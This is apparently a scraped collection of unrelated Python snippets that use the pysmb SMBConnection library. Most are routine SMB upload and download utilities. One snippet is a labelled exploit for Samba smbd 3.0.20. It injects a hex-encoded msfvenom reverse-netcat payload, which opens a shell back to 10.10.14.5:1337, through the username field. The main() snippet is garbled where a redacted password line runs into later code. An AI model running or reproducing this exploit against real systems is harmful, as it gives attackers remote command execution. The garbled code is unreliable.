class Samba: def __init__(self, _name): self.config = ConfigParser.ConfigParser() self.config.read('lora.conf') self.name = _name self.init_parameter() self.init_conn() def init_parameter(self): self.conn = None self.username = self.config.get(self.name, 'username') self.password = self.config.get(self.name, 'password') self.machine_name = self.config.get(self.name, 'machine_name') self.server_name = self.config.get(self.name, 'server_name') self.server_ip = self.config.get(self.name, 'server_ip') self.domain_name = self.config.get(self.name, 'domain_name') self.remote_folder= self.config.get(self.name, 'remote_folder') def init_conn(self): self.conn = SMBConnection(self.username, self.password, self.machine_name, self.server_name, domain=self.domain_name, use_ntlm_v2=True, is_direct_tcp=True) self.conn.connect(self.server_ip, 445) shares = self.conn.listShares() def send_data(self, _name): with open(_name, 'rb') as file: self.conn.storeFile(self.remote_folder, _name, file) def close(self): self.conn.close()
def dowload_latest_image(sysConf): serverIP = sysConf.imgServer['IP'] netbios = NetBIOS() serverName = netbios.queryIPForName(serverIP) conn = SMBConnection(sysConf.imgServer['USER'], sysConf.imgServer['PASSWORD'], my_name="BMC_Tester", remote_name=serverName[0], domain="COMPAL") if (False == conn.connect(serverIP)): return None platformImage = "BMC/Daily_Build/" + sysConf.platform path = conn.listPath(sysConf.imgServer['ROOT'], platformImage) sortedFile = sorted(path, key=attrgetter('create_time')) lastFile = sortedFile[len(sortedFile) - 1] imagePath = os.getcwd() + "/download" if not os.path.exists(imagePath): os.mkdir(imagePath) image = open(imagePath + "/" + lastFile.filename, "wb") print("\tDownloading %s to %s ....." % (lastFile.filename, imagePath + "/" + lastFile.filename)) conn.retrieveFile(sysConf.imgServer['ROOT'], platformImage + "/" + lastFile.filename, image) image.close() return lastFile.filename
def getSMB(task): files = [] try: samba = SMBConnection(task.username, task.password, 'mybase', task.target) samba.connect(task.dir, int(task.port)) list = task.tables.split(' ') share = list[0] path = list[1] id_str = str(task.finger) if len(list) == 3: #指定文件 file = list[2] p = path + '/' + file retrieveFile(samba, share, p, id_str) files.append(p) else: list = retrieveFileList(samba, share, path) for l in list: file = retrieveFile(samba, share, l, id_str) files.append(file) return files except Exception as e: LOGS.error('SMB连接出错:' + str(e))
class SMBClient(object): """ smb连接客户端 """ username = '' password = '' ip = '' port = None status = False samba = None def __init__(self, username, password, ip, port=139): self.username = username self.password = password self.ip = ip self.port = port def connect(self): try: self.samba = SMBConnection(self.username, self.password, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result except: self.samba.close() def disconnect(self): if self.status: self.samba.close() def all_file_names_in_dir(self, service_name, dir_name): """ 列出文件夹内所有文件名 :param service_name: :param dir_name: :return: """ f_names = list() for e in self.samba.listPath(service_name, dir_name): # if len(e.filename) > 3: (会返回一些.的文件,需要过滤) if e.filename[0] != '.': f_names.append(e.filename) return f_names def download(self, service_name, smb_file_path, local_file_path): """ 下载文件 :param service_name:服务名(smb中的文件夹名) :param smb_file_path: smb文件 :param local_file_path: 本地文件 :return: """ f = open(local_file_path, 'wb') self.samba.retrieveFile(service_name, smb_file_path, f) f.close() # def download(self, f_names, service_name, smb_dir, local_dir): # """ # 下载文件 # :param f_names:文件名 # :param service_name:服务名(smb中的文件夹名) # :param smb_dir: smb文件夹 # :param local_dir: 本地文件夹 # :return: # """ # assert isinstance(f_names, list) # for f_name in f_names: # f = open(os.path.join(local_dir, f_name), 'w') # self.samba.retrieveFile(service_name, os.path.join(smb_dir, f_name), f) # f.close() def upload(self, service_name, smb_dir, file_name): """ 上传文件 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param file_name: 本地文件夹 :return: """ self.samba.storeFile(service_name, smb_dir, file_name) def create_dir(self, service_name, path): """ 创建文件夹 :param service_name: :param path: :return: """ try: self.samba.createDirectory(service_name, path) except OperationFailure: pass def file_size(self, service_name, path): """ 文件大小 :param service_name: :param path: :return: """ return self.samba.getAttributes(service_name, path).file_size def is_directory(self, service_name, path): """ 判断是否为文件夹 :param service_name: :param path: :return: """ return self.samba.getAttributes(service_name, path).isDirectory def retrieve_file(self, service_name, path, local_file): """ 下载文件 :param service_name: :param path: :param local_file: :return: """ file_attr, file_size = self.samba.retrieveFile(service_name, path, local_file) return file_attr, file_size def retrieve_file_from_offset(self, service_name, path, offset, max_length, local_file): """ 断点续传下载文件 :param service_name: :param path: :param offset: :param max_length: :param local_file: :return: """ file_attr, file_size = self.samba.retrieveFileFromOffset( service_name, path, local_file, offset, max_length) return file_attr, file_size def del_dir(self, service_name, dir_path): """ 删除smb文件夹 :param service_name: :param dir_path: :return: """ self.samba.deleteDirectory(service_name, dir_path) def del_file(self, service_name, file_path): """ 删除文件 :param service_name: :param file_path: :return: """ self.samba.deleteFiles(service_name, file_path)
def main(): # get local pdf file name first try: password = getpass.getpass('Password: '******'Error: can not access the system') conn.close() # download current homepage_file try: with open(homepage_file, 'wb') as fp: conn.retrieveFile('c$', docroot + homepage_file, fp) print('Downloading of ' + homepage_file + ' successful\n') except: print('Error: Cannot download ' + homepage_file + '\n') conn.close() recent_list = recentFiles(conn, doc_root + '/archivefolder') print( str(access_recent) + ' most recent filenames in the archivefolder directory: \n') for n in range(len(recent_list)): print(recent_list[n]) arch_filename = input('\nSave current ' + homepage_file + ' for archivefolder as? ') # TODO suggest filename try: # upload downloaded homepage_file into archivefolder as arch_filename with open(homepage_file, 'rb') as fp: conn.storeFile('c$', doc_root + '/archivefolder' + arch_filename, fp) os.remove(homepage_file) except: print('Error: Cannot upload ' + homepage_file + ' into archivefolder') conn.close() try: # Delete homepage_file_old, then rename homepage_file in as homepage_file_old conn.deleteFiles('c$', docroot + homepage_file_old) conn.deleteFiles('c$', docroot + newsletter_file) conn.rename('c$', docroot + homepage_file, docroot + homepage_file_old) except: print('Error: Cannot rename ' + homepage_file + ' to ' + homepage_file_old + ' in folder.') conn.close() try: # TODO make this elegant localpdf = getLocalpdf() with open(localpdf, 'rb') as fp: conn.storeFile('c$', docroot + homepage_file, fp) with open(localpdf, 'rb') as fp: conn.storeFile('c$', docroot + newsletter_file, fp) except: print('Error: cannot upload ' + localpdf + ' to folder') conn.close() print('\n' + homepage_file + ' succesffully updated!\n\n Closing SMB connection') os.system('pause') conn.close()
#!/usr/bin/python3 #exploit Samba smbd 3.0.20-Debian from smb import * from smb.SMBConnection import * #msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python buf = "" buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d" buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30" buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c" buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f" buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f" buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d" buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d" userID = "/=` nohup " + buf + "`" password = '******' victim_ip = '10.10.10.3' conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False) conn.connect(victim_ip, 445)
def connect_remote_win_path(hostname, username, password, filepath, cache_path): localserver = "local" domain = "" service_name = '' try: if cache_path[:2] == r"\\": ll = cache_path.split('\\') service_name = ll[3] print("service_name") new_cache_path = "" for i in range(len(ll)): if i > 3: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) else: service_name = cache_path[:1] + "$" ll = cache_path.split('\\') new_cache_path = "" for i in range(len(ll)): if i > 0: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) print("connecting server") conn = SMBConnection(username, password, localserver, hostname, domain=domain, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) conn.connect(hostname, 445) response = conn.listShares(timeout=30) # obtain a list of shares print('Shares on: ' + hostname) arcpy.AddMessage('Shares on: ' + hostname) for i in range(len(response)): # iterate through the list of shares print(" Share[", i, "] =", response[i].name) print("filepath:", filepath) try: file_list = os.listdir(filepath) for Level in file_list: lodPath = os.path.join(filepath, Level) bundles = os.listdir(lodPath) server_lod_path = new_cache_path + "/" + Level for bundle in bundles: local_bundle_path = lodPath + os.sep + bundle server_bundle_path = server_lod_path + "/" + bundle print("local:", local_bundle_path) # print("server:", server_bundle_path) file_obj = open(local_bundle_path, 'rb') # service_name = response[2].name print("service_name:", service_name) conn.storeFile(service_name, server_bundle_path, file_obj, timeout=60) print("uploaded:", server_bundle_path) arcpy.AddMessage("uploaded:" + server_bundle_path) file_obj.close() # print("upload over") conn.close() return True except: arcpy.AddError( "upload failed! Maybe there is no any tiles in the dir: " + filepath) conn.close() return False except: conn.close() return False
SMB_USER = appConfig.get("SMB", "User") SMB_PASSWORD = appConfig.get("SMB", "Password") SMB_DOMAIN = appConfig.get("SMB", "Domain") SMB_PATH = appConfig.get("SMB", "Path") SMB_HOST = appConfig.get("SMB", "Host") SMB_SHARE = appConfig.get("SMB", "SharedRessourceName") """ SMB """ try: print("Connecting to shared directory...") conn = SMBConnection(SMB_USER, SMB_PASSWORD, 'python-zeep', SMB_HOST, SMB_DOMAIN, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) connected = conn.connect(SMB_HOST, 445) print("Getting " + str(SMB_PATH) + " ...") """ Saving to temporary file """ file_obj = tempfile.NamedTemporaryFile() file_attributes, filesize = conn.retrieveFile(SMB_SHARE, SMB_PATH, file_obj) file_obj.seek(0) fileDownloaded = True except ConnectionResetError: print("Connection closed") except OperationFailure: print("File : " + str(SMB_PATH) + " not found") if fileDownloaded == True:
def connect_remote_win_path(hostname,username,password,filepath,cache_path): localserver = "local" domain = "" service_name = '' try: if cache_path[:2] == r"\\": ll = cache_path.split('\\') service_name = ll[3] print("service_name") new_cache_path = "" for i in range(len(ll)): if i > 3: new_cache_path += "/"+ ll[i] print("new_cache_path:",new_cache_path) else: service_name = cache_path[:1] + "$" ll = cache_path.split('\\') new_cache_path = "" for i in range(len(ll)): if i > 0: new_cache_path += "/" + ll[i] print("new_cache_path:", new_cache_path) print("connecting server") conn = SMBConnection(username,password,localserver,hostname,domain=domain, use_ntlm_v2=True,sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,is_direct_tcp=True) conn.connect(hostname, 445) response = conn.listShares(timeout=30) # obtain a list of shares print('Shares on: ' + hostname) for i in range(len(response)): # iterate through the list of shares print(" Share[", i, "] =", response[i].name) print("filepath:", filepath) try: file_list = os.listdir(filepath) for Level in file_list: lodPath = os.path.join(filepath, Level) bundles = os.listdir(lodPath) server_lod_path = new_cache_path + "/" + Level for bundle in bundles: local_bundle_path = lodPath + os.sep + bundle server_bundle_path = server_lod_path + "/" + bundle print("local:",local_bundle_path) # print("server:", server_bundle_path) file_obj = open(local_bundle_path,'rb') # service_name = response[2].name print("service_name:",service_name) conn.storeFile(service_name, server_bundle_path, file_obj, timeout=60) print("uploaded:", server_bundle_path) file_obj.close() # print("upload over") conn.close() return True except: print("upload failed! Maybe there is no any tiles in the dir: "+filepath) conn.close() return False except: conn.close() return False
def connect(username, password, my_name, remote_name): samba = SMBConnection(username, password, my_name, remote_name) samba.connect(remote_name, timeout=10) return samba
class SMBClient(object): ''' smb连接客户端 ''' user_name = '' passwd = '' ip = '' prot = None status = False samba = None def __init__(self, user_name, passwd, ip, port=139): self.user_name = user_name self.passwd = passwd self.ip = ip self.port = port def connect(self): try: self.samba = SMBConnection(self.user_name, self.passwd, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result except: self.samba.close() def disconnect(self): if self.status: self.samba.close() def all_file_names_in_dir(self, service_name, dir_name): ''' 列出文件夹内所有文件名 :param service_name: :param dir_name: :return: ''' f_names = list() for e in self.samba.listPath(service_name, dir_name): # if len(e.filename) > 3: (会返回一些.的文件,需要过滤) if e.filename[0] != '.': f_names.append(e.filename) return f_names def download(self, f_names, service_name, smb_dir, local_dir): ''' 下载文件 :param f_names:文件名 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param local_dir: 本地文件夹 :return: ''' assert isinstance(f_names, list) for f_name in f_names: f = open(os.path.join(local_dir, f_name), 'w') self.samba.retrieveFile(service_name, os.path.join(smb_dir, f_name), f) f.close() def upload(self, service_name, smb_dir, file_name): ''' 上传文件 :param f_names:文件名 :param service_name:服务名(smb中的文件夹名) :param smb_dir: smb文件夹 :param local_dir: 本地文件夹 :return: ''' self.samba.storeFile(service_name, smb_dir, file_name) def createDir(self, service_name, path): """ 创建文件夹 :param service_name: :param path: :return: """ try: self.samba.createDirectory(service_name, path) except OperationFailure: pass